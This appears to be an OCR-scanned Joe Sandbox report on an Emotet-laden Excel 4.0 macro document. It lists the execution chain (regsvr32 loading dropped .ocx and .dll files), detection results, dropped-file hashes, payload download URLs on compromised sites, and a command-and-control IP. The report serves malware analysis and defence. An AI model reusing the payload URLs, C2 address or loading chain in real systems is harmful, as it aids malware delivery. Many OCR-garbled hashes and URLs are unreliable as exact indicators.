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Windows Analysis Report

AGK-010522 MJEY-210522.xls

Overview

General Information Detection Classification

Sample AGK-010522 MJEY-
Name: 210522.xIs MALICI

Analysis ID: 632032

Multi AV Scanner detection for subm...

Document exploit detected (drops P...

MDS: 26fela6dbcaedc.. Office document tries to convince v...
SHAE f894d4913c99feb. Yara detected Emotet
SHA256: 10d164258a05b4.

System process connects to networ...
Infos: ﬁ E Q l'f 0

Al
o
=
U
~+
c
=
1]
wn

Document exploit detected (creates...
Antivirus detection for URL or domain

Found malicious Excel 4.0 Macro

Hidden Macro 4.0,
Emotet Multi AV Scanner detection for dom...

Multi AV Scanner detection for drop...

Range: 0-100
Whitelisted: false Office process drops PE file
i Confidence: Lo0% Found Excel 4.0 Macro with suspici...
= @ Clel=] oy
Process Tree

= System is w7x64
° EXCEL.EXE (PID: 2260 cmdline: "C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE" /automation -Embedding MD5: D53B85E21886D2AF9815C377537BCAC3)
o [H1 regsvr32.exe (PID: 204 cmdline: C:\Windows\System32\regsvr32.exe /S ..\uxevrl.ocx MD5: 59BCE9F07985F8A4204F4D6554CFF708)
o [E1 regsvr32.exe (PID: 2052 cmdline: C:\Windows\system32\regsvr32.exe "C:\Windows\system32\XpltPypW\hllulW.dII" MD5: 59BCE9F07985F8A4204F4D6554CFF708)
o [E1 regsvr32.exe (PID: 2088 cmdline: C:\Windows\System32\regsvr32.exe /S ..\uxevr2.ocx MD5: 59BCE9F07985F8A4204F4D6554CFF708)
o [H1 regsvr32.exe (PID: 592 cmdline: C:\Windows\system32\regsvr32.exe "C:\Windows\system32\MiFQSWNWaJxwEe\lpsINE.dIl" MD5:

59BCE9F07985F8A4204F4D6554CFF708)
o [E1 regsvr32.exe (PID: 1808 cmdline: C:\Windows\System32\regsvr32.exe /S ..\uxevr3.ocx MD5: 59BCE9F07985F8A4204F4D6554CFF708)

o [E1 regsvr32.exe (PID: 1300 cmdline: C:\Windows\system32\regsvr32.exe "C:\Windows\system32\Y{TPe\fAqgggPvQZYEzlo.dll" MD5:

59BCE9F07985F8A4204F4D6554CFF708)
o [E1 regsvr32.exe (PID: 2652 cmdline: C:\Windows\System32\regsvr32.exe /S ..\uxevr4.ocx MD5: 59BCE9F07985F8A4204F4D6554CFF708)

e [E1 svchostexe (PID: 1160 cmdline: C:\Windows\System32\svchost.exe -k WerSvcGroup MD5: C78655BC80301D76ED4FEF1C1EA40A7D)
= cleanup

Malware Configuration

@ No configs have been found

Yara Signatures

Memory Dumps

Source Rule Description Author Strings
00000005.00000002.932134658.0000000180001000.00000  JoeSecurity_ Emot  Yara detected Joe Security
020.00001000.00020000.00000000.sdmp et 1 Emotet
00000003.00000002.922105770.00000000002C0000.00000  JoeSecurity_ Emot  Yara detected Joe Security
040.00001000.00020000.00000000.sdmp et 1 Emotet
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Source

00000008.00000002.938555440.00000000001C0000.00000
040.00001000.00020000.00000000.sdmp

00000003.00000002.922673703.0000000180001000.00000
020.00001000.00020000.00000000.sdmp

00000009.00000002.1221815669.0000000000140000.0000
0040.00001000.00020000.00000000.sdmp

Unpacked PEs

Source

4.2.regsvr32.exe.1c0000.0.unpack
6.2.regsvr32.exe.2c0000.0.unpack
9.2.regsvr32.exe.140000.0.raw.unpack
5.2.regsvr32.exe.2d0000.0.unpack

9.2.regsvr32.exe.140000.0.unpack

Sigma Signatures

@ No Sigma rule has matched

Snort Signatures

@ No Snort rule has matched

Joe Sandbox Signatures

AV Detection

Multi AV Scanner detection for submitted file
Antivirus detection for URL or domain
Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for dropped file

Machine Learning detection for dropped file

Software Vulnerabilities

Document exploit detected (drops PE files)

Document exploit detected (creates forbidden files)

Rule

JoeSecurity_Emot
et 1

JoeSecurity_Emot
et 1

JoeSecurity_Emot
et 1

Rule

JoeSecurity_Emot
et 1

JoeSecurity_Emot
et 1
JoeSecurity_Emot
et 1
JoeSecurity_Emot
et 1

JoeSecurity_Emot
et 1

Description

Yara detected
Emotet

Yara detected
Emotet

Yara detected
Emotet

Description

Yara detected
Emotet

Yara detected
Emotet

Yara detected
Emotet

Yara detected
Emotet

Yara detected
Emotet

Author

Joe Security

Joe Security

Joe Security

Click to see the 7 entries

Author

Joe Security

Joe Security

Joe Security

Joe Security

Joe Security

Click to see the 7 entries

Strings

Strings

Document exploit detected (process start blacklist hit)

Document exploit detected (UrlDownloadToFile)

Networking

System process connects to network (likely due to code injection or exploit)
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E-Banking Fraud

Yara detected Emotet

System Summary

Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)

Found malicious Excel 4.0 Macro

Office process drops PE file

Found Excel 4.0 Macro with suspicious formulas

Boot Survival

Drops PE files to the user root directory

Hooking and other Techniques for Hiding and Protection

Hides that the sample has been downloaded from the Internet (zone.identifier)

HIPS / PFW / Operating System Protection Evasion

System process connects to network (likely due to code injection or exploit)

Stealing of Sensitive Information

Yara detected Emotet

Mitre Att&ck Matrix
Initial . . Privilege  Defense Credential . Lateral . . . Command Network Rem?te
Execution Persistence . . Discovery Collection Exfiltration and Service Impact
Access Escalation Evasion Access Movement Effects
Control Effects
Valid Path 0s Remote Exdfiltration Eavesdrop Remotely  Modify
Accounts Scripting Interceptio  Process Masqueradi Credential = System Services Archive Over Other Encrypted  on Insecure Track System
n Injection ng Dumping Time Collected Network Channel Network Device Partition
Discovery Data Medium Communic  Without
ation Authorizati
on
Default Boot or Boot or LSASS Remote Data from  Exfiltration Exploit SS7 Remotely  Device
Accounts  Native APl Logon Logon Disable or  Memory Query Desktop Removable Over Non- to Redirect Wipe Data  Lockout
Initializatio  Initializatio ~ Modify Registry Protocol Media Bluetooth Standard Phone Without
n Scripts n Scripts Tools Port Calls/SMS  Authorizati
on
Domain Logon Logon Security SMB/MWind Datafrom  Automated Exploit SS7 Obtain Delete
Accounts Exploitation Script Script Virtualizatio Account Security ows Admin  Network Exfiltration  Ingress to Track Device Device
for Client (Windows) (Windows) n/Sandbox Manager Software Shares Shared Tool Device Cloud Data
Execution Evasion Discovery Drive Transfer Location Backups
Local At Logon Logon NTDS Distributed  Input Scheduled SIM Card Carrier
Accounts (Windows)  Script Script Process Virtualizatio Component Capture Transfer Non- Swap Billing
(Mac) (Mac) Injection n/Sandbox Object Application Fraud
Evasion Model Layer
Protocol
Cloud Cron Network Network LSA SSH Keylogging Data Manipulate Manipulate
Accounts Logon Logon Deobfuscat = Secrets Process Transfer Application  Device App Store
Script Script e/Decode Discovery Size Limits  Layer Communic Rankings
Files or Protocol ation or Ratings
Information
Replication Launchd Rc.commo  Rc.commo Cached VNC GUI Input  Exfiltration ~ Multiband ~ Jamming or Abuse
Through n n Scripting Domain Remote Capture Over C2 Communic  Denial of Accessibilit
Removable Credentials System Channel ation Service y Features
Media Discovery
External Scheduled  Startup Startup DCSync Windows Web Portal  Exfiltration = Commonly  Rogue Wi- Data
Remote Task ltems Iltems Hidden File and Remote Capture Over Used Port  Fi Access Encrypted
Services Files and Directory Manageme Alternative Points for Impact
Directories Discovery  nt Protocol
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Command Remote
Initial Privilege Defense Credential Lateral Network

Access Execution Persistence Escalation Evasion Access Discovery Movement Collection Exfiltration and Effects Service Impact
Control Effects
Drive-by Command Scheduled Scheduled Proc Shared Credential  Exfiltration  Application Downgrade Generate
Compromis and Task/Job Task/Job Obfuscated Filesystem = System Webroot API Over Layer to Insecure Fraudulent
e Scripting Files or Information Hooking Symmetric  Protocol Protocols Advertising
Interpreter Information Discovery Encrypted Revenue
Non-C2
Protocol
Exploit PowerShell At (Linux) At (Linux) letc/passw  System Software Data Exfiltration ~ Web Rogue Data
Public- Regsvr32  dand Network Deploymen Staged Over Protocols Cellular Destruction
Facing letc/shado  Connection t Tools Asymmetric Base
Application w s Encrypted Station
Discovery Non-C2
Protocol

Behavior Graph

Hide Legend
Behavior Graph

= 032032 Legend:
Sample:  AGK.010522 WIEY 2105225
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Screenshots
Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.
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(@] AGK-010522 MJEV-210522 [Compatibility Mode] - Microsoft Excel

Home | Insert  Page Layout Formulas Data Review  View

& cut Calibri S A ==o 8-

Hacopy ~ ) A
o Format painter | B 4 U 7| E~ f-A- =

Clipboard Font Alignment

S Wrap Text General

EdMerge &uCenter- | $ % 2

—
kG D
Conditional Format  Cell

Formatting = as Table = Styles ~
Styles

Fm Tx FF T Autesum v
g o 0 Q-

Insert Delete Format
- - - (2 Clear =

o =R
c@o@ =

i &

Sort& Find &
Filter = Select =

Cells Editing

AN8T %

A B C D E F G H I J

! Most features are disabled. To view and edit document click Enable Editing and click Enable Content.

38
H 4 » M| Sheet /¥J

Ready |

2 - o €6

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source

AGK-010522 MJEY-210522.xls
AGK-010522 MJEY-210522.xls
AGK-010522 MJEY-210522.xls

Dropped Files

Source

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IES\XNHCOJW

C\me435CErJsFGwlq[1].dll

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\5JCOA1K

N\KIIrMZJhgldiJr6j0XWPeZOiGs[1].dll

C:\Users\user\uxevr3.ocx

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IES\XNHCOJW

C\RDOSUTHGKitv1t[1].dll
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Detection
58%
32%
51%

Detection

100%

100%

100%
100%

Scanner

Virustotal
Metadefender

ReversingLabs

Scanner

Joe Sandbox ML

Joe Sandbox ML

Joe Sandbox ML
Joe Sandbox ML

Label Link
Browse
Browse

Document-

Excel.Trojan.Abrac

adabra

Label Link
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https://www.virustotal.com/gui/file/10d164258a05b43017ea2344e234477490adaef157633778e0a2f2f558ef9385/detection/f-10d164258a05b43017ea2344e234477490adaef157633778e0a2f2f558ef9385-1653282834
https://www.metadefender.com/#!/results/file/bzIyMDUyMWMyRG9CQV9Kc09NNWxCRHpaNjY/regular/analysis

Source
C:\Users\user\uxevrl.ocx
C:\Users\user\uxevr2.ocx

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\5JCOA1K
N\kIIrMZJhgldiJr6j0OXWPeZOiGs[1].dll

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IES\XNHCOJW
C\RDO5UTHGKitvIJt[1].dll

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IES\XNHCOJW
C\me435CErJsFGw1q[1].dll

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IES\XNHCOJW
C\me435CErJsFGw1g[1].dll

C:\Users\user\uxevrl.ocx

C:\Users\user\uxevr2.ocx

C:\Users\user\uxevr2.ocx
C:\Users\user\uxevr3.ocx

C:\Windows\System32\MiFQSWNWaJxwEe\lpsINE.dIl (copy)

C:\Windows\System32\MiFQSWNWaJxwEe\lpsINE.dIl (copy)
C:\Windows\System32\XpltPypW\hllulW.dlIl (copy)

C:\Windows\System32\YtTPe\fAqgggPvQZYEzlo.dll (copy)

Unpacked PE Files

@ No Antivirus matches

Domains
Source
kabeonet.pl
salledemode.com
vipteck.com

windowsupdatebg.s.lInwi.net

URLs

Source

http://https://173.82.82.196:8080/
http:i/crl.pkioverheid.nl/DomOvLatestCRL.crl0
http://https://173.82.82.196:8080/4

http:/focsp.entrust.net03

http://https://173.82.82.196/#K
http://salledemode.com/tgroup.ge/x4bc2kL4BzGAeUsVi/
http://https://173.82.82.196/
http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0
http://www.diginotar.nl/cps/pkioverheid0
http://https://vipteck.com/wp-admin/user/B8d6jr4pBND2HEXAmI/IIWa95VIQ/
http://www.kabeonet.pl/wp-admin/VWIAz5vWJINHDb/
http://vipteck.com/wp-admin/user/B8d6jr4pBND2HEXAMI/IIWa95VIQ/
http://kabeonet.pl/wp-admin/VWIAz5vWJINHDb/
hitp:/focsp.entrust.netOD

http://https://173.82.82.196:8080/0

Domains and IPs

Contacted Domains
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Detection
100%
100%

56%

41%

29%

59%

41%

29%

59%

56%

29%

59%

41%

56%

Detection
1%

12%

10%

0%

Detection
100%
0%
100%
0%
100%
100%
100%
0%
0%
100%
100%
100%
100%
0%

100%

Scanner
Joe Sandbox ML
Joe Sandbox ML

ReversingLabs

ReversingLabs

Metadefender

ReversingLabs

ReversingLabs

Metadefender

ReversingLabs

ReversingLabs

Metadefender

ReversingLabs

ReversingLabs

ReversingLabs

Scanner
Virustotal
Virustotal
Virustotal

Virustotal

Scanner

URL Reputation
URL Reputation
Avira URL Cloud
URL Reputation
Avira URL Cloud
Avira URL Cloud
URL Reputation
URL Reputation
URL Reputation
Avira URL Cloud
Avira URL Cloud
Avira URL Cloud
Avira URL Cloud
URL Reputation

Avira URL Cloud

Label

Win64.Trojan.Emot
et

Win64.Trojan.Emot
et

Win64.Trojan.Emot
et

Win64.Trojan.Emot
et

Win64.Trojan.Emot
et

Win64.Trojan.Emot
et

Win64.Trojan.Emot
et

Win64.Trojan.Emot
et

Win64.Trojan.Emot
et

Label

Label
malware
safe
malware
safe
malware
malware
malware
safe
safe
malware
malware
malware
malware
safe

malware

Link

Browse

Browse

Browse

Link

Browse
Browse
Browse

Browse

Link
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https://www.metadefender.com/#!/results/file/bzIyMDUyM0xMV1c5R3BrZ29sSTdFN1Etdnht/regular/analysis
https://www.metadefender.com/#!/results/file/bzIyMDUyM0xMV1c5R3BrZ29sSTdFN1Etdnht/regular/analysis
https://www.metadefender.com/#!/results/file/bzIyMDUyM0xMV1c5R3BrZ29sSTdFN1Etdnht/regular/analysis
https://www.virustotal.com/gui/url/a54e10b0428d5ca06d313aa4f4c54866f6ba2f752b1043bad884a91671eb4d49/detection/u-a54e10b0428d5ca06d313aa4f4c54866f6ba2f752b1043bad884a91671eb4d49-1653213027
https://www.virustotal.com/gui/url/b15efdbe580fe9efb7d912228c6af69e4bbb6f5df2a2332cb4530e908e7b1f91/detection/u-b15efdbe580fe9efb7d912228c6af69e4bbb6f5df2a2332cb4530e908e7b1f91-1653213027
https://www.virustotal.com/gui/url/cc7d87234a7bf91ccbe888d6c13a8a6c9873ad19b48bebd2087c294a72b7d8b1/detection/u-cc7d87234a7bf91ccbe888d6c13a8a6c9873ad19b48bebd2087c294a72b7d8b1-1653148065
https://www.virustotal.com/gui/url/269402877e8dee35bb471f85cbc1ff5cbf910cd1c31c676da54cf7ba58be8e8e/detection/u-269402877e8dee35bb471f85cbc1ff5cbf910cd1c31c676da54cf7ba58be8e8e-1653010903

Name IP Active

kabeonet.pl 193.143.77.34 true
salledemode.com 160.153.40.1 true
vipteck.com 188.114.96.10 true
airliftlimo.com 159.203.19.2 true
windowsupdatebg.s.lInwi.net 178.79.225.128 true
www.kabeonet.pl unknown unknown

Contacted URLs

Name

http://salledemode.com/tgroup.ge/x4bc2kL4BzGAeUsVi/
http://https://vipteck.com/wp-admin/user/B8d6jr4pBND2HEXAMI/IIWa95VIQ/
http://www.kabeonet. pl/wp-admin/VWIAz5vWJINHDb/
http://vipteck.com/wp-admin/user/B8d6jr4pBND2HEXAMI/IIWa95VIQ/
http://kabeonet.pl/wp-admin/VWIAz5vWJINHDb/

Malicious Antivirus Detection

false e 1%, Virustotal, Browse
true e 12%, Virustotal, Browse
false e 10%, Virustotal, Browse
false

false e 0%, Virustotal, Browse
false

Malicious Antivirus Detection

http://https://airliftlimo.com/wp-admin/iMc/

URLs from Memory and Binaries

Name

http://https://173.82.82.196:8080/

http://crl.pkioverheid.nl/DomOvLatestCRL.crl0

http://https://173.82.82.196:8080/4

http://crl.entrust.net/serverl.crl0

http:/focsp.entrust.net03

http:ifhttps://173.82.82.196/#K

http://https://173.82.82.196/
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true e Avira URL Cloud: malware
true e Avira URL Cloud: malware
true e Avira URL Cloud: malware
true e Avira URL Cloud: malware
true e Avira URL Cloud: malware
false

Source Malicious  Antivirus Detection

regsvr32.exe, 00000004.00000002.12220577
98.000000000030C000.00000004.00000020.00
020000.00000000.sdmp, regsvr32.exe, 0000
0004.00000003.1104439650.000000000030C00
0.00000004.00000020.00020000.00000000.sdmp,
regsvr32.exe, 00000004.00000003.980428865.0000
00000030C000.00000004.00000020.00020000.
00000000.sdmp, regsvr32.exe, 00000009.00
000002.1222070586.0000000000401000.00000
004.00000020.00020000.00000000.sdmp

regsvr32.exe, 00000004.00000002.12224402
88.00000000029C3000.00000004.00000020.00
020000.00000000.sdmp, regsvr32.exe, 0000
0006.00000002.1222381570.000000000335900
0.00000004.00000020.00020000.00000000.sdmp,
regsvr32.exe, 00000009.00000002.1222374224.000
0000002D14000.00000004.00000020.00020000
.00000000.sdmp

regsvr32.exe, 00000006.00000002.12219174
93.0000000000143000.00000004.00000020.00
020000.00000000.sdmp

regsvr32.exe, 00000004.00000002.12224402
88.00000000029C3000.00000004.00000020.00
020000.00000000.sdmp, regsvr32.exe, 0000
0006.00000002.1222381570.000000000335900
0.00000004.00000020.00020000.00000000.sdmp,
regsvr32.exe, 00000009.00000002.1222374224.000
0000002D14000.00000004.00000020.00020000
.00000000.sdmp

regsvr32.exe, 00000004.00000002.12224402
88.00000000029C3000.00000004.00000020.00
020000.00000000.sdmp, regsvr32.exe, 0000
0006.00000002.1222381570.000000000335900
0.00000004.00000020.00020000.00000000.sdmp,
regsvr32.exe, 00000009.00000002.1222374224.000
0000002D14000.00000004.00000020.00020000
.00000000.sdmp

regsvr32.exe, 00000009.00000002.12220705
86.0000000000401000.00000004.00000020.00
020000.00000000.sdmp

regsvr32.exe, 00000004.00000002.12220577
98.000000000030C000.00000004.00000020.00
020000.00000000.sdmp, regsvr32.exe, 0000
0004.00000003.1104439650.000000000030C00
0.00000004.00000020.00020000.00000000.sdmp,
regsvr32.exe, 00000004.00000003.980428865.0000
00000030C000.00000004.00000020.00020000.
00000000.sdmp, regsvr32.exe, 00000006.00
000002.1221939475.0000000000168000.00000
004.00000020.00020000.00000000.sdmp, reg
svr32.exe, 00000009.00000002.1222070586.
0000000000401000.00000004.00000020.00020
000.00000000.sdmp

true

e URL Reputation: malware

false e URL Reputation: safe
true e Avira URL Cloud: malware
false

false e URL Reputation: safe

true

true

e Avira URL Cloud: malware

e URL Reputation: malware

Reputation
unknown
unknown
unknown
high
unknown

unknown

Reputation
unknown
unknown
unknown
unknown
unknown

high

Reputation

unknown

unknown

unknown

high

unknown

unknown

unknown
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https://www.virustotal.com/gui/url/a54e10b0428d5ca06d313aa4f4c54866f6ba2f752b1043bad884a91671eb4d49/detection/u-a54e10b0428d5ca06d313aa4f4c54866f6ba2f752b1043bad884a91671eb4d49-1653213027
https://www.virustotal.com/gui/url/b15efdbe580fe9efb7d912228c6af69e4bbb6f5df2a2332cb4530e908e7b1f91/detection/u-b15efdbe580fe9efb7d912228c6af69e4bbb6f5df2a2332cb4530e908e7b1f91-1653213027
https://www.virustotal.com/gui/url/cc7d87234a7bf91ccbe888d6c13a8a6c9873ad19b48bebd2087c294a72b7d8b1/detection/u-cc7d87234a7bf91ccbe888d6c13a8a6c9873ad19b48bebd2087c294a72b7d8b1-1653148065
https://www.virustotal.com/gui/url/269402877e8dee35bb471f85cbc1ff5cbf910cd1c31c676da54cf7ba58be8e8e/detection/u-269402877e8dee35bb471f85cbc1ff5cbf910cd1c31c676da54cf7ba58be8e8e-1653010903

Name

http://crl.pkioverheid.n/DomOrganisatieLatestCRL-
G2.crlo

hitp:/fwww.diginotar.nl/cps/pkioverheid0

http:/focsp.entrust.netOD

hitp://https://secure.comodo.com/CPS0

http://crl.entrust.net/2048ca.crl0

http://https://173.82.82.196:8080/0

World Map of Contacted IPs

[] No. of IPs < 25%
B 25% < No. of IPs < 50%
Bl 50% < No. of IPs < 75%
Bl 75% <No. of IPs

Public IPs

Copyright Joe Security LLC 2022

Source

regsvr32.exe, 00000004.00000002.12224402
88.00000000029C3000.00000004.00000020.00
020000.00000000.sdmp, regsvr32.exe, 0000
0006.00000002.1222381570.000000000335900
0.00000004.00000020.00020000.00000000.sdmp,
regsvr32.exe, 00000009.00000002.1222374224.000
0000002D14000.00000004.00000020.00020000
.00000000.sdmp

regsvr32.exe, 00000004.00000002.12224402
88.00000000029C3000.00000004.00000020.00
020000.00000000.sdmp, regsvr32.exe, 0000
0006.00000002.1222381570.000000000335900
0.00000004.00000020.00020000.00000000.sdmp,
regsvr32.exe, 00000009.00000002.1222374224.000
0000002D14000.00000004.00000020.00020000
.00000000.sdmp

regsvr32.exe, 00000004.00000002.12224402
88.00000000029C3000.00000004.00000020.00
020000.00000000.sdmp, regsvr32.exe, 0000
0006.00000002.1222381570.000000000335900
0.00000004.00000020.00020000.00000000.sdmp,
regsvr32.exe, 00000009.00000002.1222374224.000
0000002D14000.00000004.00000020.00020000
.00000000.sdmp

regsvr32.exe, 00000004.00000002.12224402
88.00000000029C3000.00000004.00000020.00
020000.00000000.sdmp, regsvr32.exe, 0000
0006.00000002.1222381570.000000000335900
0.00000004.00000020.00020000.00000000.sdmp,
regsvr32.exe, 00000009.00000002.1222374224.000
0000002D14000.00000004.00000020.00020000
.00000000.sdmp

regsvr32.exe, 00000004.00000002.12224402
88.00000000029C3000.00000004.00000020.00
020000.00000000.sdmp, regsvr32.exe, 0000
0006.00000002.1222381570.000000000335900
0.00000004.00000020.00020000.00000000.sdmp,
regsvr32.exe, 00000009.00000002.1222374224.000
0000002D14000.00000004.00000020.00020000
.00000000.sdmp

regsvr32.exe, 00000006.00000002.12219174
93.0000000000143000.00000004.00000020.00
020000.00000000.sdmp

Malicious

false

false

false

false

false

true

Antivirus Detection

e URL Reputation: safe

e URL Reputation: safe

e URL Reputation: safe

e Avira URL Cloud: malware

Reputation

unknown

unknown

unknown

high

high

unknown
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P Domain Country Flag ASN ASN Name Malicious

159.203.19.2 airliftlimo.com United States = 14061 DIGITALOCEAN-ASNUS false
188.114.96.10 vipteck.com European Union 7] 13335 CLOUDFLARENETUS false
173.82.82.196 unknown United States = 35916 MULTA-ASN1US true
193.143.77.34 kabeonet.pl Poland - 29522 KEIPL false
160.153.40.1 salledemode.com United States = 26496 AS-26496-GO-DADDY- true
COM-LLCUS
General Information
Joe Sandbox Version: 34.0.0 Boulder Opal
Analysis ID: 632032
Start date and time: 23/05/202208:26:17 2022-05-23 08:26:17 +02:00
Joe Sandbox Product: CloudBasic
Overall analysis duration: 0h 9m 8s
Hypervisor based Inspection enabled: false
Report type: light
Sample file name: AGK-010522 MJEY-210522.xIs
Cookbook file name: defaultwindowsofficecookbook.jbs
Analysis system description: Windows 7 x64 SP1 with Office 2010 SP1 (IE 11, FF52, Chrome 57, Adobe Reader DC 15, Flash 25.0.0.127, Java 8 Update 121, .NET
4.6.2)
Number of analysed new started processes 14
analysed:
Number of new started drivers analysed: 0
Number of existing processes analysed: 0
Number of existing drivers analysed: 0
Number of injected processes analysed: 0
Technologies: e HCA enabled
e EGA enabled
e HDC enabled
e AMSI enabled
Analysis Mode: default
Analysis stop reason: Timeout
Detection: MAL
Classification: mal100.troj.expl.evad.winXLS@16/16 @5/5
EGA Information: e Successful, ratio: 100%

HDC Information:

.

Successful, ratio: 51.2% (good quality ratio 28.4%)
Quality average: 34%
Quality standard deviation: 37.8%

.

.

HCA Information:

.

Successful, ratio: 95%
e Number of executed functions: 0
Number of non-executed functions: 0

.

Cookbook Comments: Found application associated with file extension: .xIs
Adjust boot time

Enable AMSI

Found Word or Excel or PowerPoint or XPS Viewer
Attach to Office via COM

Scroll down

Close Viewer

e o o o o o o

Warnings

Exclude process from analysis (whitelisted): dllhost.exe

TCP Packets have been reduced to 100

Excluded IPs from analysis (whitelisted): 93.184.221.240, 178.79.225.128

Excluded domains from analysis (whitelisted): wu.ec.azureedge.net, bg.apr-52dd2-0503.edgecastdns.net, cs11.wpc.vOcdn.net, hib.apr-52dd2-0.edgecastdns.net,
ctldl.windowsupdate.com, wu-bg-shim.trafficmanager.net, wu.azureedge.net

Report size exceeded maximum capacity and may have missing b ehavior information.

Report size exceeded maximum capacity and may have missing d isassembly code.

Report size getting too big, too many NtDeviceloControlFile calls found.

Report size getting too big, too many NtOpenKeyEx calls found.

Report size getting too big, t oo many NtQueryValueKey calls found.

e o o o

e o o o o
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Simulations

Behavior and APIs

Time Type Description
08:27:26 API Interceptor 2725x Sleep call for process: regsvr32.exe modified
08:27:31 API Interceptor 230x Sleep call for process: svchost.exe modified

Joe Sandbox View / Context

IPs

@ No context

Domains

@ No context

ASNs

@ No context

JA3 Fingerprints

@ No context

Dropped Files

@ No context

Created / dropped Files

C:\Users\user\AppData\Locallow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BDOD0E0426DC8F8008506 E

Process: C:\Windows\System32\regsvr32.exe

File Type: Microsoft Cabinet archive data, 61480 bytes, 1 file
Category: dropped

Size (bytes): 61480

Entropy (8bit):  7.9951219482618905

Encrypted: true

SSDEEP: 1536:kmu7iDG/SCACIih0/8ulGantJdjFpTE8ITeNjiXKGgUN:CeGf5gKsG4vdjFpjlYeX9gUN

MD5: BI9F21D8DB36E88831E5352BB82C438B3

SHAL: 4A3C330954F9F65A2F5FD7E55800E46CE228A3E2

SHA-256: 998E0209690A48ED33B79AF30FC13851E3E3416BED97E3679B6030C10CAB361E

SHA-512: D4A2AC7C14227FBAF8B532398FB69053F0A0D913273F6917027C8CADBBA80113FDBEC20C2A7EB31B7BB57C99F9FDECCF8576BESF39346D8B564FC72FB16994
76

Malicious: false

Preview:

K,.Y.dj<A..
..l_IVb[w..rDp...! . ={L...AS.9.............
..+.PN...EAQ.V. sr....y.B.".Efe.8./...$..y-.q.J....... nP..2.Q8..0........ M.@\.>=X...V..z.4.=.@..ws.N.M3.S.c?.....C4]?.\.K.9..... "..CU.....O... X."........ _.gU..*.V{V6..m
DA.Qt7...9.~. [ l<e.~$.>...5lS..~1.IV.2Ri.]R!8...q..[. X.%.)@.....2.gb,t..}..;.. @.Z..<q..y.....e3.cY.we.$..z.| #...l.

C:\Users\user\AppData\Locallow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0OD0OE0426DC8F8008506

Process: C:\Windows\System32\regsvr32.exe
File Type: data

Category: dropped

Size (bytes): 290
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Entropy (8bit):  2.9506517562666863

Encrypted: false

SSDEEP: 6:kKIJdoxN+SkQIPIEGYRMY9z+4KIDA3RUe/:9TKPIE99SNxAhUe/

MDS5: B18F511F2D21118A5723153BCF571045

SHAL: 4BCC655F2107B8B6282343130B6B33D943036F1B

SHA-256: D616D58655C84CB25F6B478833726157259949865A20F7008777E73AC88274C3

SHA-512: 46D032EF9791EBE729523F64ED388B69D13239EAF7AADF1CA9317CBCD2B01989AAB5DF50CEEEB64DFCEBO66A61C15674787EBB2CCD316AE337E5C76B13DD
1BF

Malicious: false

Preview: Peoies e BN (et e 3kMeveiiieeee (Ghittp/eitldl) wiin.d.o.w.s.u.p.d.a.t.e...c.o.m./m.s.d.o.w.n.l.o.a.d./.u.p.d.at.e./.v.3./.

s.tatic/trustedr/en/lauthro.ots.tl.cab..

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\5JCOATKN\kUrMzZJhgldiJr6j0XWPeZ0iGs[1].dll v @

Process: C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE
File Type: PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category: dropped
Size (bytes): 365056

Entropy (8bit):  7.158106334231925

Encrypted: false

SSDEEP: 3072:JI0AMOYQKRIMS6IgIELtIUNjiWGYWCTZA0JUIA2tqZ4IVUIDA]7UOjVifSWHEDQVO:iISMRIMBY3TjRIVgMSS3AYUrhY u3;

MD5: BE9AB3CBCD3C659212F266325283997D

SHA1L: 8AEG6E545E3F39473BE65759BE466D48448F385C

SHA-256: 278DOCOBAF0203C13A5E72F31027F4FD0921F6FA2A84656485D86F8D09D562C0

SHA-512: 48058CE87D6A2813C60852B435BC43D7F64D0180A63FIF5964123C0009FC4060216749FBE32DF6FC60BC35E139E4B2D24320AEF526BF12A8A57473203B4F942D
Malicious: true

Antivirus: e Antivirus: Joe Sandbox ML, Detection: 100%

e Antivirus: ReversingLabs, Detection: 56%

Preview: MZ. .@.. 1..L.IThis program cannot be run in DOS mode....$. 8ikeik. k.. k. ik.. k. ik. K.k Kk kKKK KKK GKRIC

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IES\XNHCOJWC\RDOSUTHGkitvIJt[1].dLl v @

Process: C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE
File Type: PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category: dropped
Size (bytes): 365056

Entropy (8bit):  7.158099808823071

Encrypted: false

SSDEEP: 3072:JI0AMOyQKRIMBIgIELtJUNjiWGYWcT+0JUiA2tqZ4IvUIDA]7UQ}ViIfSWHEDQVLK:I5MRIM6EY3TrRIvgMSS3AyUrhYu3j

MD5: F11EBAFE4C3C0069090023A6B4CAEC35

SHA1L: 3FECC4BC39FA6F17F062473D80F51AAEF8B442DB

SHA-256: CAE8D1C14C85D10D7413AF876E6748813AD6930CF4D856E120857C4489A690DA

SHA-512: 425EDOA65526F11EADC37C8158C2D53C6A07C234DA59594DEEC8C8B132B6673534371A149CD5EAS86ED07B0A517011E6143CE41E5D4D93608208C1DC73880F
Malicious: true

Antivirus: e Antivirus: Joe Sandbox ML, Detection: 100%

e Antivirus: ReversingLabs, Detection: 41%

Preview:

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHCOJWC\me435CErJsFGw1q[1].dlL v @

Process: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type: PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category: downloaded

Size (bytes): 365056

Entropy (8bit): 7.158106332990621
Encrypted: false
